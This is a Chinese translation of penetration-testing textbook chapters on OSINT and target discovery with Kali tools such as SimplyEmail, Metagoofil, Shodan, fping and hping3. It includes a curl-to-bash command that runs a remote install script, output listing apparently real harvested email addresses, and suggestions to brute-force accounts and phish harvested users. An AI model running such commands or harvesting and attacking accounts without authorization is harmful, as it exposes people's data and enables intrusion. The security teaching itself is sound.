该命令将显示与该命令相关的不同功能。

最简单的用法是针对一个域运行该命令。在本演示中,我们将运行traceroute命令以跟踪到达域example.com的网络路由:

    # traceroute www.example.com  

traceroute的已编辑输出如下:

    traceroute to www.example.com (192.168.10.100), 30 hops max, 40 byte packets
     1  192.168.1.1 (192.168.1.1)  8.382 ms  12.681 ms  24.169 ms
     2  1.static.192.168.xx.xx.isp (192.168.2.1)  47.276 ms  61.215 ms  61.057 ms
     3  * * *
     4  74.subnet192.168.xx.xx.isp (192.168.4.1)  68.794 ms  76.895 ms  94.154 ms
     5  isp2 (192.168.5.1)  122.919 ms  124.968 ms  132.380 ms
    ...
    15  * * *
    ...
    30  * * *

如您所见,有几个步骤被指示,其他步骤显示为***。如果我们查看输出,到第 15 跳,我们看到没有可用的信息。这表明测试机器和主机之间有一个过滤设备,即example.com域。

为了对抗这种过滤,我们将尝试使用tcptraceroute命令确定路由。由于我们知道example.com有一个 Web 服务器,我们将设置命令尝试 TCP 端口80,即 HTTP 端口。以下是命令:

    # tcptraceroute www.example.com  

输出如下:

    Selected device eth0, address 192.168.1.107, port 41884 for outgoing packets
    Tracing the path to www.example.com (192.168.10.100) on TCP port 80 (www),                 30 hops max
     1  192.168.1.1  55.332 ms  6.087 ms  3.256 ms
     2  1.static.192.168.xx.xx.isp (192.168.2.1)    66.497 ms  50.436                 ms  85.326 ms
     3  * * *
     4  74.subnet192.168.xx.xx.isp (192.168.4.1)  56.252 ms  28.041 ms  34.607 ms
     5  isp2 (192.168.5.1)  51.160 ms  54.382 ms  150.168 ms
     6  192.168.6.1  106.216 ms  105.319 ms  130.462 ms
     7  192.168.7.1  140.752 ms  254.555 ms  106.610 ms
    ...
    14  192.168.14.1  453.829 ms  404.907 ms  420.745 ms
    15  192.168.15.1 615.886 ms  474.649 ms  432.609 ms
    16  192.168.16.1 [open]  521.673 ms  474.778 ms  820.607 ms

tcptraceroute输出中可以看出,请求已到达我们的目标系统,并为我们提供了请求到达目标的跳数。

tctrace

另一个利用 TCP 握手的工具是tctrace。与tcptraceroute类似,tctrace向特定主机发送一个 SYN 数据包,如果回复是一个 SYN/ACK,端口是打开的。一个 RST 数据包表示一个关闭的端口。

要启动tctrace,请输入以下命令:

    # tctrace -i<device> -d<targethost> 

-i <device>是目标上的网络接口,-d <target host>是目标。

在本例中,我们将对www.example.com域运行tctrace

    # tctrace -i eth0 -d www.example.com

获得以下输出:

     1(1)   [172.16.43.1]
     2(1)   [172.16.44.1]
     3(all)  Timeout
     4(3)   [172.16.46.1]
     5(1)   [172.16.47.1]
     6(1)   [172.16.48.1]
     7(1)   []
    ...
    14(1)   [172.16.56.1]
    15(1)   [172.16.57.1]
    16(1)   [198.148.81.137] (reached; open)

利用搜索引擎

除了路由和域信息外,Kali Linux 还有其他工具,可以为渗透测试员提供大量的 OSINT。这些工具充当搜索引擎,可以从 Google 或社交网络站点等各种资源中获取电子邮件地址、文档和域信息。使用这些工具的优势之一是它们不直接搜索网站,而是使用其他搜索引擎提供 OSINT。这限制了渗透测试员对目标系统的指纹。

这些工具中有一些是内置在 Kali Linux 中的,而其他一些则需要安装。以下部分介绍了一些工具的子集,这些工具将帮助您在绝大多数信息收集中。

SimplyEmail

SimplyEmail不仅可以获取电子邮件地址和其他信息,还可以清理文档,如文本、Word 或 Excel 电子表格的域。此外,还有各种不同的网站和搜索引擎可供使用。这些包括 Reddit、Pastebin 和 CanaryBin。其中最好的功能之一是该工具可以生成 HTML 格式的报告,在您准备报告时非常方便。

theharvester也是一个方便的工具,可以聚合目标可能泄漏的电子邮件地址和其他信息。

SimplyEmail是一个具有多个模块的 Python 脚本。安装它相当容易。

使用以下步骤安装SimplyEmail

  1. 转到 GitHub 网站github.com/killswitch-GUI/SimplyEmail

  2. 输入以下代码:

curl -s https://raw.githubusercontent.com/killswitch-GUI/SimplyEmail/master/setup/oneline-setup.sh | bash
  1. 启动脚本完成后,您可以执行脚本。

通过输入以下内容可以访问帮助菜单:

      #./SimplyEmail.py -h

    Current Version: v1.0 | Website: CyberSyndicates.com
     ============================================================
     Twitter: @real_slacker007 |  Twitter: @Killswitch_gui
     ============================================================
    [-s] [-v] 

电子邮件枚举是渗透测试员或红队成员进行的许多操作中的重要阶段。有大量的应用程序可以进行电子邮件枚举,但我想要一种简单而有效的方式来获取Recon-Ngtheharvester提供的内容(您可能想要运行-h):

    optional arguments:
      -all                 Use all non API methods to obtain Emails
      -e company.com       Set required email addr user, ex ale@email.com
      -l                   List the current Modules Loaded
      -t           html / flickr / google
                           Test individual module (For Linting)
      -s                   Set this to enable 'No-Scope' of the email parsing
      -v                    Set this switch for verbose output of modules

要开始搜索,请输入以下内容:

    #./SimplyEmail -all -e example.com

然后运行脚本。请注意,如果没有信息,返回将会出现错误。这并不意味着您犯了错误,而是表示搜索没有结果。在工具运行时,您将在屏幕上看到以下输出:

    [*] Starting: PasteBin Search for Emails
    [*] Starting: Google PDF Search for Emails
    [*] Starting: Exalead DOCX Search for Emails
    [*] Starting: Exalead XLSX Search for Emails
    [*] Starting: HTML Scrape of Taget Website
    [*] Starting: Exalead Search for Emails
    [*] Starting: Searching PGP
    [*] Starting: OnionStagram Search For Instagram Users
    [*] HTML Scrape of Taget Website has completed with no Email(s)
    [*] Starting: RedditPost Search for Emails
    [*] OnionStagram Search For Instagram Users: Gathered 23 Email(s)!
    [*] Starting: Ask Search for Emails

在进行搜索后,您将收到验证电子邮件地址的请求。这个验证过程可能需要一些时间,但在您想要社会工程或钓鱼特定个人的有针对性攻击中,这可能是明智的。一个简单的Y/N就足够了:

    [*] Email reconnaissance has been completed:
        Email verification will allow you to use common methods
        to attempt to enumerate if the email is valid.
        This grabs the MX records, sorts and attempts to check
        if the SMTP server sends a code other than 250 for known bad addresses

     [>] Would you like to verify email(s)?:

在验证问题之后,最后一个问题是报告生成阶段:

    [*] Email reconnaissance has been completed:
       File Location:     /root/Desktop/SimplyEmail
       Unique Emails Found:    246
       Raw Email File:    Email_List.txt
       HTML Email File:    Email_List.html
       Domain Performed:    example.com
    [>] Would you like to launch the HTML report?: 

报告输出是一个 HTML 文件,其中包含已进行的搜索类型和已找到的数据。如果您擅长 HTML,甚至可以在最终的渗透测试报告中加入您自己的标志。

Google Hacking Database(GHDB)

Google Hacking DatabaseGHDB)可以在www.exploit-db.com/google-hacking-database/找到,允许用户使用定制的高级查询,可能会显示不寻常的信息,否则这些信息将不会显示在www.google.com/的典型结果列表中。

GHDB 最初是由 Hackers for Charity 的创始人 Johnny Long 开发的,但现在由 Kali Linux 的制造商 Offensive Security 维护和托管。 GHDB 使用 Googledorks,这是谷歌操作符,用于搜索字符串,例如 inurl,filetype,allintext,site,cache,以及+-*等操作符。当正确使用时,Googledorks 有时会显示有趣甚至敏感的信息,例如错误消息,易受攻击的服务器和网站,敏感文件和登录页面。当然,大多数这些信息无法通过普通的谷歌搜索直接获得,这导致了将谷歌用作信息收集和黑客数据库工具。

GHDB 的使用非常简单。它允许用户从各种类别中进行选择,而不是输入短语和 Googledorks。在页面下方,它列出了许多类别和搜索查询,以及指向谷歌搜索的链接,因此即使对于初学者来说也非常容易使用。

作为一个例子,我选择了类别列表中的易受攻击的服务器,只需在搜索框中输入apache,然后点击搜索:

列出的结果可以单击或复制并粘贴到谷歌中,以尝试收集更多信息。

以下屏幕截图显示了在谷歌中的搜索结果。请注意,有 16,600 个结果,但并非所有结果都会提供有关易受攻击的服务器的有趣信息:

出于道德和法律目的,您应该只在符合您所在州和国家法律的情况下使用 GHDB 进行信息收集。

Metagoofil

Metagoogil是一种利用谷歌搜索引擎从目标域中的文档中获取元数据的工具。目前,它支持以下文档类型:

  • Word 文档(.docx.doc

  • 电子表格文档(.xlsx.xls.ods

  • 演示文件(.pptx.ppt.odp

  • PDF 文件(.pdf

Metagoogil通过执行以下操作来工作:

  • 使用谷歌搜索引擎在目标域中搜索所有上述文件类型

  • 下载找到的所有文档并将它们保存到本地磁盘

  • 从下载的文档中提取元数据

  • 将结果保存在 HTML 文件中

可以找到的元数据包括以下内容:

  • 用户名

  • 软件版本

  • 服务器或机器名称

此信息可以在后期用于帮助渗透测试阶段。Metagoogil不是标准 Kali Linux v 2.0 发行版的一部分。要安装,您只需要使用apt-get命令:

    # apt-get install metagoofil

安装程序包完成后,您可以从命令行访问 Metagoofil:

    # metagoofil

这将在您的屏幕上显示简单的使用说明和示例。作为Metagoogil使用的示例,我们将从目标域(-d hackthissite.org)收集所有 DOC 和 PDF 文档(-t.doc.pdf)并将它们保存到名为test的目录中(-o test)。我们将每种文件类型的搜索限制为20个文件(-l 20),并且只下载五个文件(-n 5)。生成的报告将保存在test.html中(-f test.html)。我们给出以下命令:

    # metagoofil -d example.com -l 20 -t doc,pdf -n 5 -f test.html -o test  

此命令的编辑结果如下:

    [-] Starting online search...

    [-] Searching for doc files, with a limit of 20
      Searching 100 results...
    Results: 5 files found
    Starting to download 5 of them:
    ----------------------------------------

    [1/5] /webhp?hl=en [x] Error downloading /webhp?hl=en
    [2/5] /intl/en/ads [x] Error downloading /intl/en/ads
    [3/5] /services [x] Error downloading /services
    [4/5] /intl/en/policies/privacy/
    [5/5] /intl/en/policies/terms/

    [-] Searching for pdf files, with a limit of 20
      Searching 100 results...
    Results: 25 files found
    Starting to download 5 of them:
    ----------------------------------------

    [1/5] /webhp?hl=en [x] Error downloading /webhp?hl=en
    [2/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine3.pdf
    [3/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine12_print.pdf
    [4/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine12.pdf
    [5/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine4.pdf
    processing

    [+] List of users found:
    --------------------------
    emadison

    [+] List of software found:
    -----------------------------
    Adobe PDF Library 7.0
    Adobe InDesign CS2 (4.0)
    Acrobat Distiller 8.0.0 (Windows)
    PScript5.dll Version 5.2.2

    [+] List of paths and servers found:
    ---------------------------------------

    [+] List of e-mails found:
    ----------------------------
    whooka@gmail.com
    htsdevs@gmail.com
    never@guess
    narc@narc.net
    kfiralfia@hotmail.com
    user@localhost
    user@remotehost.
    user@remotehost.com
    security@lists.
    recipient@provider.com
    subscribe@lists.hackbloc.org
    staff@hackbloc.org
    johndoe@yahoo.com
    staff@hackbloc.org
    johndoe@yahoo.com
    subscribe@lists.hackbloc.org
    htsdevs@gmail.com
    hackbloc@gmail.com
    webmaster@www.ndcp.edu.phpass
    webmaster@www.ndcp.edu.phwebmaster@www.ndcp.edu.ph
    webmaster@ndcp
    [root@ndcp
    D[root@ndcp
    window...[root@ndcp
    .[root@ndcp
    goods[root@ndcp
    liberation_asusual@ya-
    pjames_e@yahoo.com.au

您可以从上述结果中看到,我们从收集的文档中获得了大量信息,例如用户名和路径信息。我们可以使用获得的用户名来查找用户名中的模式,并对其进行暴力密码攻击。但是,请注意,对帐户进行暴力密码攻击可能会有锁定用户帐户的风险。路径信息可用于猜测目标使用的操作系统。我们获得了所有这些信息,而无需访问域网站。

Metagoogil也能够以报告格式生成信息。以下屏幕截图显示了 HTML 中生成的报告:

![

在生成的报告中,我们可以从目标域中获取有关用户名、软件版本、电子邮件地址和服务器信息的信息。

自动足迹和信息收集工具

在本节中,我们将介绍完全自动化的工具,特别是两种,它们包含了许多个别工具中涵盖的任务的几个功能。这些工具可通过github.com/免费使用,并在 Kali Linux 2018.2(可能还有早期版本)中使用。

Devploit

Devploit 3.6 被列为一个信息收集工具,由 Joker25000 开发,可在github.com/joker25000/Devploit上获得。

要使用 Devsploit,我们首先将其克隆到我们的 Kali Linux 机器上,然后在提供选项时运行所选的工具。克隆只需做一次;以后每次使用 Devploit 时,只需浏览到 Devploit 目录。

打开一个新的终端,并使用cd命令更改到您选择的目录。 (您还可以使用ls命令列出目录的内容,并确保您在正确的目录中。)

使用git clone命令将 Devploit 克隆到您的机器上,输入以下内容:

git clone https://github.com/joker25000/Devploit.git

如果从 GitHub 网页复制 URL,请确保在终端中包括.git

Enter克隆 Devploit 到 Kali:

在终端中,通过输入cd Devploit 来更改桌面上的 Devploit 目录,然后使用ls命令查看目录内容。您应该看到Devploit.pyREADME.me文件等。

通过输入chmod +x install为文件授予可执行权限以安装,然后通过输入./install启动 Devploit。

请确保您是在 Devploit 目录中运行前面的命令。

安装 Devploit 后,打开一个新的终端,输入 Devploit,如下面的屏幕截图所示:

Devploit 提供了 19 个自动信息收集选项:

要执行 DNS 查找,请输入1,然后输入域的名称,例如www.google.com

要查找有关域或 IP 的基本地理信息,请选择选项 3 并按 Enter,然后输入 IP 或域名:

务必熟悉可用的选项。

Red Hawk v2

Red Hawk 版本 2 是另一个深入的、多合一的信息收集套件,用于侦察和数据收集。

在新的终端中,更改到桌面(或您选择的目录)并通过输入github.com/th3justhacker/RED_HAWK来克隆 Red Hawk v2:

一旦所有对象成功解压缩,通过输入cd RED_HAWK更改目录到RED_HAWK目录。使用ls命令验证rhawk.php是否存在:

要启动 Red Hawk,请输入php rhawk.php并按Enter。如果成功,应显示以下屏幕:

输入您的网站,然后选择 HTTP 或 HTTPS。然后,从可用的选项中进行选择。例如,键入一个进行 Whois 查找:

https://www.google.com/的 Whois 查找信息显示如下:

选项[3]抓取横幅www.google.com/的结果如下:

Google.com进行 MX 查找(选项13)得到以下输出:

用户可以选择多种选项,包括选项[A],该选项可以扫描所有内容。

使用 Shodan 查找连接到互联网的设备

位于shodan.io的 Shodan 搜索引擎并不是您平常的搜索引擎。Shodan 可以通过基本和特定的查询字符串返回连接到互联网的易受攻击系统的搜索结果。

该网站是由 John Matherly 开发的,已经可用将近十年,现在已成为一个在互联网上指纹识别的宝贵工具。考虑到我们生活在物联网IoT)时代,越来越多的设备现在可以通过互联网访问,然而其中许多设备的安全性不如他们应该的那样,有时会使它们不仅容易受到黑客的攻击,还容易受到任何好奇的人的攻击。

Shodan 扫描常见端口并执行横幅抓取作为其足迹过程的一部分,然后显示可以通过网络访问的设备,包括路由器和网络设备、网络摄像头和监控设备、交通摄像头、服务器和 SCADA 系统等等有趣的设备。

在结果列表中,单击单个结果通常会返回设备上的开放端口和服务列表,并且还允许生成报告。

出于隐私和法律目的,我选择不使用 Shodan 结果的截图。

要使用 Shodan,请首先访问网站www.shodan.io

您会注意到您可以免费使用该服务,但如果您不注册,您将被限制查看一页返回的结果。注册是免费的,可以让您查看搜索引擎显示的返回结果的前两页。还有一个付费订阅可以订阅,以便访问所有结果。

Shodan 中的搜索查询

以下是 Shodan 中的搜索查询:

  • 在搜索字段中可以指定诸如网络摄像头、CCTV、思科、Fortinet、交通信号、冰箱等关键词

  • 端口号也可以根据服务进行指定,比如3389(远程桌面)。

  • 操作系统版本:操作系统和版本也可以与国家代码一起指定

  • 国家名称也可以与关键词和端口号一起指定

  • 短语组合关键词也可以使用,包括默认密码、登录失败等热门搜索短语。

在 Shodan 网站的顶部菜单中,有一个“探索”选项。该选项显示了各种类别和热门搜索的链接。工业控制系统和数据库是特色类别之一,而排名靠前的搜索条目包括网络摄像头、Cams、Netcam 和默认密码。

单击 Webcams 类别,甚至在搜索字段中输入 server: SQ-WEBCAM,可以得到不同国家的网络摄像头的多个结果。例如,常见的搜索查询 WebcanXPm 也会返回许多通过互联网访问的摄像头的结果,其中许多允许远程用户进行平移、倾斜和缩放。

由于法律限制,请确保您不要访问受限制的设备,并根据您所在州或国家的法律使用 Shodan。

开始目标发现

在我们从第三方来源(如搜索引擎)收集了关于目标网络的信息之后,下一步是发现我们的目标机器。这个过程的目的如下:

  • 查找目标网络中哪台机器是可用的。如果目标机器不可用,我们将不会继续对该机器进行渗透测试,并将移动到下一台机器。

  • 查找目标机器使用的基础操作系统。

收集先前提到的信息将有助于我们进行漏洞映射过程。

我们可以利用 Kali Linux 提供的工具进行目标发现过程。这些工具中的一些可以在信息收集菜单中找到。其他工具将必须从命令行中使用。对于这些工具,提供了命令。

在本章中,我们将只描述每个类别中的一些重要工具。这些工具是基于它们的功能、流行度和工具开发活动进行选择的。

为了本章的目的,Metasploitable 2 的安装被用作目标系统。可以尝试在该操作系统上使用这些命令。

Blue-Thunder-IP-Locator

打开一个新的终端并切换到您选择的目录。在本例中,我使用了桌面。

通过键入git clone https://github.com/th3sha10wbr04rs/Blue-Thunder-IP-Locator-.git从 GitHub 克隆 Blue-Thunder-IP-Locator:

成功克隆后,更改目录到 Blue-Thunder-IP-Locator 目录。

如 GitHub 页面所述,github.com/th3sha10wbr04rs/Blue-Thunder-IP-Locator-,通过输入以下内容安装和更新perl libsapt-get install liblocal-lib-perl

如果在运行上述命令时遇到错误,请输入Dpkg –-configure –a命令,然后再次尝试上一个命令:

在整个过程中可能会提示您选择各种选项。在提示时按Y(是)。

接下来,键入apt-get install libjson-perl,然后键入apt-get upgrade libjson-perl

我们还需要确保 Blue-Thunder 具有适当的可执行权限,方法是键入chmod +x blue_thunder.pl

Blue-Thunder-IP-Locator 需要来自 Mechanize 的某些 Perl 依赖项才能运行。特别需要Ruby-mechanize库来自动化与网站的交互。

建议在运行 Blur-Thunder 之前运行下面列出的命令。(确保导航回根目录。)

键入apt-get install libhttp-daemon-ssl perl

如果找不到libhttp-daemon-ssl包,继续下一个命令也是可以的。

键入Apt-cache search WWW::Mechanize

最后,运行以下命令,apt-get install libwww-mechanize-perl

现在,所有依赖项都已安装和/或更新,我们可以运行 Blue-Thunder-IP-Locator。

在终端中,导航到 Blue-Thunder-IP-Locator 目录,输入perl blue_thunder.pl命令,然后按Enter

要查找详细的地理位置信息,请键入perl iplocation.pl,然后输入主机、IP 或域名的名称(在 Blue-Thunder-IP-Locator 目录中)。

例如,要查找有关Google.com的地理位置信息,请键入perl blue-thunder.pl www.google.com

请注意,输出包括有关目标ISP国家纬度经度等信息,如前面的屏幕截图所示。纬度经度坐标也可以输入到 Google 地图中以获取方向和位置具体信息。

摘要

本章介绍了信息收集阶段。通常是在渗透测试过程中首先进行的阶段。在这个阶段,您尽可能收集有关目标组织的信息。了解目标组织之后,当我们想要攻击目标时会更容易。伟大的中国战略家孙子非常简洁地阐述了 OSINT 和信息收集的总体意图:

“知己知彼,百战不殆。”

这句话在渗透测试中再合适不过了。

我们描述了 Kali Linux 中包含的几种可用于信息收集的工具。我们首先列出了几个可用于收集有关目标组织信息的公共网站。接下来,我们描述了如何使用工具收集域名注册信息。然后,我们描述了可用于获取 DNS 信息的工具。之后,我们探讨了用于收集路由信息的工具。在本章的最后部分,我们描述了包括令人印象深刻的黑客搜索引擎 Shodan 在内的自动化工具。

在下一章中,我们将讨论如何通过扫描发现目标,以及如何规避检测。

问题

让我们现在尝试回答一些问题:

  1. OSINT 的缩写是什么?

  2. 有哪些工具可以用来查询域名注册信息?

  3. A 记录代表什么?

  4. 什么工具利用 Google 搜索引擎收集目标域中文档的元数据?

  5. 有哪两种自动信息收集工具?

  6. 有什么工具可以用来查找互联网上的设备信息?

进一步阅读

您还可以在以下参考链接中找到有关讨论主题的更多信息:

第五章:扫描和规避技术

在本章中,我们将描述在 Kali Linux 中使用各种工具以及 GitHub 上其他可用工具发现目标网络上的设备的过程。我们将研究以下主题:

  • 目标发现过程的描述

  • 使用 Kali Linux 工具识别目标机器的方法

  • 查找目标机器操作系统所需的步骤(操作系统指纹识别)

  • 使用 Striker 进行自动扫描

  • 使用 Nipe 进行匿名化

为了帮助您轻松理解这些概念,我们将使用虚拟网络作为目标网络。

技术要求

这些是技术要求:

  • 最低硬件要求:6 GB RAM,四核 2.4 GHz 处理器和 500 GB 硬盘

  • Kali Linux 2018

  • 用于测试的虚拟机,例如 Metasploitable 或 BadStore 等(参见第二章,设置您的测试实验室

识别目标机器

此类工具用于识别渗透测试人员可以访问的目标机器。在开始识别过程之前,我们需要了解客户的条款和协议。如果协议要求我们隐藏渗透测试活动,我们需要隐藏我们的活动。隐蔽技术也可以用于测试入侵检测系统IDS)或入侵预防系统IPS)的功能。如果没有这样的要求,我们可能不需要隐藏我们的渗透测试活动。

ping

ping是用于检查特定主机是否可用的最著名的工具。ping工具通过向目标主机发送Internet 控制消息协议ICMP)回显请求数据包来工作。如果目标主机可用且防火墙没有阻止 ICMP 回显请求数据包,它将回复 ICMP 回显回复数据包。

ICMP 回显请求和 ICMP 回显回复是可用的 ICMP 控制消息之一。有关其他 ICMP 控制消息,请参阅以下网址:en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages

虽然您在 Kali Linux 菜单中找不到ping,但您可以打开控制台并输入ping命令以及其选项。

要使用ping,您只需输入ping和目标地址,如下面的屏幕截图所示:

在 Kali Linux 中,默认情况下,ping将持续运行,直到按下Ctrl + C

ping工具有很多选项,但以下是经常使用的一些选项:

  • -c 计数:这是要发送的回显请求数据包的数量。

  • -I 接口地址:这是源地址的网络接口。参数可以是数字 IP 地址(如192.168.56.102)或设备的名称(如eth0)。如果要 ping IPv6 链路本地地址,则需要此选项。

  • -s 数据包大小:指定要发送的数据字节数。默认值为 56 字节,与 ICMP 头数据的 8 字节组合在一起,可以得到 64 个 ICMP 数据字节。

让我们将前面的信息付诸实践。

假设您要开始内部渗透测试工作。客户通过局域网电缆为您提供了他们网络的访问权限,并提供了目标服务器的 IP 地址列表。

在启动完整的渗透测试工具之前,您可能想要做的第一件事是检查这些服务器是否可以从您的机器访问。您可以使用ping来完成这项任务。

目标服务器位于172.16.43.156,而您的机器的 IP 地址为172.16.43.150。要检查目标服务器的可用性,您可以给出以下命令:

    ping -c 1 172.16.43.156

除了 IP 地址,ping还接受主机名作为目标。

以下屏幕截图是前述ping命令的结果:

从前面的屏幕截图中,我们知道已向目的地(IP 地址=172.16.43.156)发送了一个 ICMP echo 请求数据包。同时,发送主机(IP 地址=172.16.43.150)收到了一个 ICMP echo 回复数据包。所需的往返时间为.869 ms,在整个过程中没有丢包。

让我们看看我们的机器发送和接收的网络数据包。我们将在我们的机器上使用网络协议分析器 Wireshark 来捕获这些数据包,如下图所示:

从前面的屏幕截图中,我们可以看到我们的主机(172.16.43.150)向目标主机(172.16.43.156)发送了一个 ICMP echo 请求数据包。由于目标是活动的并允许 ICMP echo 请求数据包,它将 ICMP echo 回复数据包发送回我们的机器。我们将在第九章特权提升网络嗅探器部分更详细地介绍Wireshark

如果您的目标使用 IPv6 地址,例如fe80::20c:29ff:fe18:f08,您可以使用ping6工具来检查其可用性。您需要为命令指定-I选项,以针对链路本地地址进行操作:

    # ping6 -c 1 fe80::20c:29ff:fe18:f08 -I eth0
    PING fe80::20c:29ff:fe18:f08(fe80::20c:29ff:fe18:f08) from fe80::20c:29ff:feb3:137 eth0: 56 data bytes
    64 bytes from fe80::20c:29ff:fe18:f08: icmp_seq=1 ttl=64 time=7.98 ms

    --- fe80::20c:29ff:fe18:f08 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 7.988/7.988/7.988/0.000 ms

以下屏幕截图显示了发送完成ping6请求的数据包:

从前面的屏幕截图中,我们知道ping6正在使用ICMPv6请求和回复。

要阻止ping请求,防火墙可以配置为仅允许来自特定主机的 ICMP echo请求数据包,并丢弃从其他主机发送的数据包。

fping

pingfping之间的区别在于fping工具可以用来一次向多个主机发送 ping(ICMP echo)请求。您可以在命令行上指定多个目标,也可以使用包含要 ping 的主机的文件。

在默认模式下,fping通过监视目标主机的回复来工作。如果目标主机发送回复,将对其进行记录并从目标列表中删除。如果主机在一定时间内没有响应,将标记为不可达。默认情况下,fping将尝试向每个目标发送三个 ICMP echo 请求数据包。

要访问fping,可以使用控制台执行以下命令:

    # fping -h

这将显示fping中的用法和可用选项的描述。

以下情景将让您了解fping的用法。

如果我们想要一次知道172.16.43.156172.16.43.150172.16.43.155的活动主机,我们可以使用以下命令:

fping 172.16.43.156 172.16.43.150 172.16.43.155  

以下是前述命令的结果:

    # fping 172.16.43.156 172.16.43.150 172.16.43.155
    172.16.43.156 is alive
    172.16.43.150 is alive
    ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to 172.16.43.155
    ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to 172.16.43.155
    ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to 172.16.43.155
    ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to 172.16.43.155
    172.16.43.155 is unreachable 

我们还可以自动生成主机列表,而不需要逐个定义 IP 地址并识别活动主机。假设我们想要在172.16.43.0/24网络中找到活动主机;我们可以使用-g选项并定义要检查的网络,使用以下命令:

# fping -g 172.16.43.0/24  

如果我们想要更改发送到目标的 ping 尝试次数,可以使用-r选项(重试限制),如下命令行所示。默认情况下,有三次 ping 尝试:

    fping  -r 1 -g 172.16.43.149 172.16.43.160

命令的结果如下:

    # fping -r 1 -g 172.16.43.149 172.16.43.160
    172.16.43.150 is alive
    172.16.43.156 is alive
    172.16.43.149 is unreachable
    172.16.43.151 is unreachable
    172.16.43.152 is unreachable
    172.16.43.153 is unreachable
    172.16.43.154 is unreachable
    172.16.43.155 is unreachable
    172.16.43.157 is unreachable
    172.16.43.158 is unreachable
    172.16.43.159 is unreachable
    172.16.43.160 is unreachable

可以使用-s选项(打印累积统计信息)显示累积统计信息,如下所示:

    fping -s www.yahoo.com www.google.com www.msn.com

以下是前述命令行的结果:

    #fping -s www.yahoo.com www.google.com www.msn.com
    www.yahoo.com is alive
    www.google.com is alive
    www.msn.com is alive

           3 targets
           3 alive
           0 unreachable
           0 unknown addresses

           0 timeouts (waiting for response)
           3 ICMP Echos sent
           3 ICMP Echo Replies received
           0 other ICMP received

     28.8 ms (min round trip time)
     30.5 ms (avg round trip time)
     33.6 ms (max round trip time)
            0.080 sec (elapsed real time)

hping3

hping3工具是一个命令行网络数据包生成器和分析器工具。创建自定义网络数据包的能力使hping3可以用于 TCP/IP 和安全测试,如端口扫描、防火墙规则测试和网络性能测试。

根据开发人员的说法,hping3还有以下几种用途:

  • 测试防火墙规则

  • 测试 IDS

  • 利用 TCP/IP 堆栈中已知的漏洞

要访问hping3,请转到控制台并键入hping3

您可以通过命令行、交互式 shell 或脚本的方式给hping3发送命令。

在没有给定命令行选项的情况下,hping3将向端口0发送一个空 TCP 数据包。

为了切换到不同的协议,您可以在命令行中使用以下选项来定义协议:

No. Short option Long option Description
1 -0 --raw-ip 这发送原始 IP 数据包
2 -1 --icmp 这发送 ICMP 数据包
3 -2 --udp 这发送 UDP 数据包
4 -8 --scan 这表示使用扫描模式
5 -9 --listen 这表示使用监听模式

在使用 TCP 协议时,我们可以使用不带任何标志的 TCP 数据包(这是默认行为),或者我们可以使用以下标志选项之一:

No. Option Flag name
1 -S syn
2 -A ack
3 -R rst
4 -F fin
5 -P psh
6 -U urg
7 -X xmas: flags fin, urg, psh set
8 -Y ymas

让我们使用hping3进行几种情况。

192.168.56.101机器发送一个 ICMP 回显请求数据包。使用的选项是-1(用于 ICMP 协议)和-c 1(将计数设置为一个数据包):

hping3 -1 172.16.43.156 -c 1

以下是此命令的输出:

    # hping3  -1 172.16.43.156 -c 1
    HPING 172.16.43.156 (eth0 172.16.43.156): icmp mode set, 28 headers + 0 data bytes
    len=46 ip=172.16.43.156 ttl=64 id=63534 icmp_seq=0 rtt=2.5 ms

    --- 172.16.43.156 hping statistic ---
    1 packets transmitted, 1 packets received, 0% packet loss
    round-trip min/avg/max = 2.5/2.5/2.5 ms

从前面的输出中,我们可以确定目标机器是存活的,因为它已经回复了我们的 ICMP 回显请求。

为了验证这一点,我们使用tcpdump捕获了流量,以下屏幕截图显示了数据包:

我们可以看到目标已经用 ICMP 回显回复数据包做出了响应。

除了在命令行中给出选项外,您还可以交互地使用hping3。打开控制台并输入hping3。然后,您将看到一个提示符,可以在其中输入您的 Tcl 命令。

以下链接是 Tcl 的资源:www.invece.org/tclwise/wiki.tcl.tk/

对于上面的示例,以下是相应的 Tcl 脚本:

    hping3> hping send {ip(daddr=172.16.43.156)+icmp(type=8,code=0)}

打开一个命令行窗口,并输入以下命令以从目标服务器获取响应:

    hping recv eth0

之后,打开另一个命令行窗口输入发送请求。

以下屏幕截图显示了收到的响应:

您还可以使用hping3来检查防火墙规则。假设您有以下防火墙规则:

  • 接受任何发送到端口22(SSH)的 TCP 数据包

  • 接受与已建立连接相关的任何 TCP 数据包

  • 丢弃其他数据包

要检查这些规则,您可以在hping3中给出以下命令,以发送一个 ICMP 回显请求数据包:

hping3 -1 172.16.43.156 -c 1  

以下代码是结果:

# hping3 -1 172.16.43.156 -c 1 
HPING 172.16.43.156 (eth0 172.16.43.156): icmp mode set, 28 headers + 0 data bytes 
--- 172.16.43.156 hping statistic --- 
1 packets transmitted, 0 packets received, 100% packet loss 
round-trip min/avg/max = 0.0/0.0/0.0 ms 

我们可以看到目标机器没有响应我们的 ping 探测。

发送一个带有 SYN 标志设置为端口22的 TCP 数据包,我们将得到以下屏幕截图中显示的结果:

从前面的屏幕截图中,我们可以看到目标机器的防火墙允许我们的 SYN 数据包到达端口22

让我们检查一下 UDP 数据包是否允许到达端口22

从前面的屏幕截图中,我们可以看到目标机器的防火墙不允许我们的 UDP 数据包到达端口22

hping3还有其他功能,但在本章中,我们只讨论了其能力的一小部分。如果您想了解更多信息,可以查阅hping3文档网站。

操作系统指纹识别

在我们确认目标机器存活后,我们可以找出目标机器使用的操作系统。这种方法通常被称为操作系统OS)指纹识别。有两种方法可以进行操作系统指纹识别:主动和被动。

在主动方法中,该工具向目标机器发送网络数据包,然后分析接收到的响应以确定目标机器的操作系统。这种方法的优点是指纹识别过程很快。然而,缺点是目标机器可能会注意到我们尝试获取其操作系统信息。

